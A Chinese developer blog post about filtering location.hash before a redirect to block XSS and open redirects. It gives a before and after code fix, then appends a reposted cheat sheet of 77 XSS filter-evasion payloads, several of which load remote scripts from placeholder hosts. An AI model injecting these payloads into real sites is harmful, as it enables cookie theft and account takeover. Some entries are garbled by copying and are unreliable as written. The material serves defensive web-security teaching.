javascript如何对location.hash过滤xss跨站脚本

场景:

需要获取类似如下url的hash值并做跳转:

http://www.xxx.com/home#/comments?type=0

 

改进前:

    (function() {
        var originalUrl = window.location.href,
            toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1];
        if (toUrl) {
            window.location.href = toUrl;
        }
    })();

 

很简单的处理方法,完全没有考虑到如下的安全问题:

1、xss跨站脚本攻击

如:

http://www.xxx.com/home#javascript:alert(document.cookie);

 

2、中转服务器

http://www.xxx.com/home#http://www.zzz.com

 

 

改进后:

    (function() {
        var originalUrl = window.location.href,
            toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1],
            reg=/^[\w\?&=\/]*$/;

        if (toUrl&&reg.test(toUrl)) {
            window.location.href = toUrl;
        }
    })();

 

网上介绍的xss跨站脚本攻击的过滤方法实在太多了,javascript的关键字,还有各种各样的编码,字符串组合,与其考虑需要过滤的条件,还不如多多考虑应用场景,在这里我们的location.hash的值只是本域内的普通url,故暂且做了以上的改进。

 

附(网转):

<!--
XSS攻击汇总 

(1)普通的XSS JavaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>

(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 2/6
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>

(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”

(27)双开角括号
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript
\”;alert(‘XSS’);//

(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>

(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
<BODY(‘XSS’)>

(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>

(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>

(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>

(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6

(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
CLASS=XSS></A>

(52)IMG STYLE方式
exppression(alert(“XSS”))’>

(53)STYLE background
<STYLE><STYLE
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>

(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);

(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上<HTML xmlns:xss><?importnamespace=”xss” implementation=”http://3w.org/XSS/xss.htc”><xss:xss>XSS</xss:xss>
</HTML>

(58)如果过滤了你的JS你可以在图片里添加JS代码来利用<SCRIPT SRC=””></SCRIPT>

(59)IMG嵌入式命令,可执行任意命令<IMG SRC=”http://www.XXX.com/a.php?a=b”>

(60)IMG嵌入式命令(a.jpg在同服务器)Redirect302/a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>

(62)<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>

(63)<SCRIPT a=”>”” SRC=”http://3w.org/xss.js”></SCRIPT>

(64)<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>

(65)<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>

(66)12-7-1 T00LS -PoweredbyDiscuz!Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>

(67)<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>

(68)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>

(69)URL编码
<A HREF=”http://3w.org”>XSS</A>

(70)IP十进制
<A HREF=”http://3232235521″>XSS</A>

(71)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>

(73)混合编码
<A HREF=”h
tt p://66.000146.0×7.147/”">XSS</A>

(74)节省[http:]
<A HREF=”//www.google.com/”>XSS</A>

(75)节省[www]
<A HREF=”http://google.com/”>XSS</A>

(76)绝对点绝对DNS
<A HREF=”http://www.google.com./”>XSS</A>

(77)javascript链接
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>

-->

 

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